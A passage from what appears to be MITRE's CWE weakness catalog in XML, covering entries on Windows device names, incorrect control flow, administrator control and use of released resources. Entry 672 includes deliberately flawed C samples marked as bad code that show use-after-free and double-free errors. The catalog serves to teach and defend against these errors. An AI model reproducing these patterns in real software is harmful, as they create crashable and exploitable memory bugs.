					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="67" Name="Improper Handling of Windows Device Names" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software constructs pathnames from user input, but it does
					not handle or incorrectly handles a pathname containing a Windows device name
					such as AUX or CON. This typically leads to denial of service or an information
					exposure when the application attempts to process the pathname as a regular
					file.</Description_Summary>
				        <Extended_Description>
					          <Text>Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1)
						can result in different types of vulnerabilities. In some cases an attacker
						can request a device via injection of a virtual filename in a URL, which may
						cause an error that leads to a denial of service or an error page that
						reveals sensitive information. A software system that allows device names to
						bypass filtering runs the risk of an attacker injecting malicious code in a
						file with the name of a device.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>66</Relationship_Target_ID>
					          <!--Improper Handling of File Names that Identify Virtual Resources-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>68</Relationship_Target_ID>
					          <!--Windows Virtual File Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Historically, there was a bug in the Windows operating system that caused
						a blue screen of death. Even after that issue was fixed DOS device names
						continue to be a factor.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High to Very High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Be familiar with the device names in the operating system where your
							system is deployed. Check input for these device names.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0106</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service via a series of requests to .JSP files that contain an MS-DOS
						device name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0200</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service via an HTTP request for an MS-DOS device
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1052</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows remote attackers to use MS-DOS
						device names in HTTP requests to cause a denial of service or obtain the
						physical path of the server.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0493</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service via a URL that contains an MS-DOS device
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0558</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows a remote attacker to create a denial
						of service via a URL request which includes a MS-DOS device
						name.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0168</Observed_Example_Reference>
					          <Observed_Example_Description>Microsoft Windows 9x operating systems allow an
						attacker to cause a denial of service via a pathname that includes file
						device names, aka the "DOS Device in Path Name"
						vulnerability.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0492</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to determine the
						physical path of the server via a URL containing MS-DOS device
						names.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0552</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not properly handle files whose names
						contain reserved MS-DOS device names, which can allow malicious code to
						bypass detection when it is installed, copied, or
						executed.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2195</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows remote attackers to cause a denial
						of service (application crash) via a URL with a filename containing a .cgi
						extension and an MS-DOS device name.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2003</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 11, "Device Files", Page 666.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Windows MS-DOS device names</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not perform operations on devices that are only appropriate
						for files</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO32-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not operate on files in shared
						directories</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not perform operations on devices that are only appropriate
						for files</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO32-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Background_Details,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Windows MS-DOS Device
						Names</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Windows
						Device Names</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="670" Name="Always-Incorrect Control Flow Implementation" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The code contains a control flow path that does not reflect the
					algorithm that the path is intended to implement, leading to incorrect behavior
					any time this path is navigated.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness captures cases in which a particular code segment is always
						incorrect with respect to the algorithm that it is implementing. For
						example, if a C programmer intends to include multiple statements in a
						single block but does not include the enclosing braces (CWE-483), then the
						logic is always incorrect. This issue is in contrast to most weaknesses in
						which the code usually behaves correctly, except when it is externally
						manipulated in malicious ways.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This node could possibly be split into lower-level nodes. "Early Return"
						is for returning control to the caller too soon (e.g., CWE-584). "Excess
						Return" is when control is returned too far up the call stack (CWE-600,
						CWE-395). "Improper control limitation" occurs when the product maintains
						control at a lower level of execution, when control should be returned
						"further" up the call stack (CWE-455). "Incorrect syntax" covers code that's
						"just plain wrong" such as CWE-484 and CWE-483.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This issue typically appears in rarely-tested code, since the
						"always-incorrect" nature will be detected as a bug during normal
						usage.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Modes_of_Introduction,
						Other_Notes, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="671" Name="Lack of Administrator Control over Security" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The product uses security features in a way that prevents the
					product's administrator from tailoring security settings to reflect the
					environment in which the product is being used. This introduces resultant
					weaknesses or prevents it from operating at a level of security that is desired
					by the administrator.</Description_Summary>
				        <Extended_Description>
					          <Text>If the product's administrator does not have the ability to manage
						security-related decisions at all times, then protecting the product from
						outside threats - including the product's developer - can become impossible.
						For example, a hard-coded account name and password cannot be changed by the
						administrator, thus exposing that product to attacks that the administrator
						can not prevent.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>657</Relationship_Target_ID>
					          <!--Violation of Secure Design Principles-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Relevant_Properties>
				        <Relevant_Property>Accessibility</Relevant_Property>
			      </Relevant_Properties>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">Design Principle Violation:
						Lack of Administrator Control over Security</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="672" Name="Operation on a Resource after Expiration or Release" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses, accesses, or otherwise operates on a
					resource after that resource has been expired, released, or
					revoked.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>666</Relationship_Target_ID>
					          <!--Operation on Resource in Wrong Phase of Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a released resource is subsequently reused or reallocated, then an
							attempt to use the original resource might allow access to sensitive
							data that is associated with a different user or entity.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When a resource is released it might not be in an expected state,
							later attempts to access the resource may lead to resultant errors that
							may lead to a crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-71">
					          <Intro_Text>The following code shows a simple example of a use after free
						error:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* ptr = (char*)malloc (SIZE);</Code>
							              <Code>if (err) {</Code>
							              <Block>
								                <Code>abrt = 1;</Code>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>if (abrt) {</Code>
							              <Block>
								                <Code>logError("operation aborted before commit", ptr);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>When an error occurs, the pointer is immediately freed. However, this
							pointer is later incorrectly used in the logError function.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-72">
					          <Intro_Text>The following code shows a simple example of a double free
						error:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* ptr = (char*)malloc (SIZE);</Code>
							              <Code>...</Code>
							              <Code>if (abrt) {</Code>
							              <Block>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>free(ptr);</Code>
						            </Block>
						            <Text>Double free vulnerabilities have two common (and sometimes
							overlapping) causes:</Text>
						            <Block Block_Nature="List">
							              <Text>Error conditions and other exceptional circumstances</Text>
							              <Text>Confusion over which part of the program is responsible for
								freeing the memory</Text>
						            </Block>
						            <Text>Although some double free vulnerabilities are not much more
							complicated than the previous example, most are spread out across
							hundreds of lines of code or even different files. Programmers seem
							particularly susceptible to freeing global variables more than
							once.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following C/C++ example the method processMessage is used to
						process a message received in the input array of char arrays. The input
						message array contains two char arrays: the first is the length of the
						message and the second is the body of the message. The length of the message
						is retrieved and used to allocate enough memory for a local char array,
						messageBody, to be created for the message body. The messageBody is
						processed in the method processMessageBody that will return an error if an
						error occurs while processing. If an error occurs then the return result
						variable is set to indicate an error and the messageBody char array memory
						is released using the method free and an error message is sent to the
						logError method.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>#define FAIL 0</Code>
							              <Code>#define SUCCESS 1</Code>
							              <Code>#define ERROR -1</Code>
							              <Code>#define MAX_MESSAGE_SIZE 32</Code>
							              <Code/>
							              <Code>int processMessage(char **message)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>int result = SUCCESS;</Code>
								                <Code/>
								                <Code>int length = getMessageLength(message[0]);</Code>
								                <Code>char *messageBody;</Code>
								                <Code/>
								                <Code>if ((length &gt; 0) &amp;&amp; (length &lt; MAX_MESSAGE_SIZE))
									{</Code>
								                <Code/>
								                <Block>
									                  <Code>messageBody = (char*)malloc(length*sizeof(char));</Code>
									                  <Code>messageBody = &amp;message[1][0];</Code>
									                  <Code/>
									                  <Code>int success = processMessageBody(messageBody);</Code>
									                  <Code/>
									                  <Code>if (success == ERROR) {</Code>
									                  <Block>
										                    <Code>result = ERROR;</Code>
										                    <Code>free(messageBody);</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code> }</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Unable to process message; invalid message
										length");</Code>
									                  <Code>result = FAIL;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>if (result == ERROR) {</Code>
								                <Block>
									                  <Code>logError("Error processing message", messageBody);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return result;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the call to the method logError includes the messageBody
							after the memory for messageBody has been released using the free
							method. This can cause unexpected results and may lead to system
							crashes. A variable should never be used after its memory resources have
							been released.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>...</Code>
